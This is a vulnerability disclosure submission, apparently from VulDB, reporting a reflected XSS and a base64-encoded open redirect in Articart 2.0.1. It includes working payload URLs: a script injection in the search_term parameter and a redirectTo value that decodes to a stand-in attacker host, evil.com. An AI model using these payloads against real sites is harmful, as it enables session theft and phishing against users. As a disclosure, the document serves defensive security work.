提出 #179285: Articart 2.0.1 - Reflected XSS - Open Redirect using base64 Encoding

# Exploit Title: Articart 2.0.1 - Reflected XSS - Open Redirect using base64 Encoding
# Date: 07/07/2023
# Exploit Author: skalvin aka (CraCkEr)
# Vendor: livelyworks
# Vendor Homepage: http://livelyworks.net/
# Software Link: http://articart-demo.livelyworks.net/
# Version: 2.0.1
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

Release Notes:

The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials

## RXSS

Path: /items/search

GET 'search_term' parameter is vulnerable to RXSS

https://website/items/search?search_term=123zr77l%22%3e%3cscript%3ealert(1)%3c%2fscript%3esadj4

## Open Redirect

An Attacker can use it to redirect a victim to an arbitrary website. This is a powerful tool in
phishing campaigns, as it allows hiding the malicious webpage behind a link

Path: /change-language/de_DE

GET 'redirectTo' parameter is vulnerable to Open Redirect using base64 encoding

https://website/change-language/de_DE?redirectTo=aHR0cHM6Ly93d3cuZXZpbC5jb20v

aHR0cHM6Ly93d3cuZXZpbC5jb20v = https://www.evil.com/

[-] Done

• ユーザー: skalvin (UID 49463)
• 送信: 2023年07月07日 21:00 (3 年 ago)
• モデレーション: 2023年07月15日 18:14 (8 days later)
• ステータス: 承諾済み
• VulDBエントリ: 234230 [LivelyWorks Articart 2.0.1 Base64 Encoding /change-language/de_DE redirectTo Redirect]
• ポイント: 17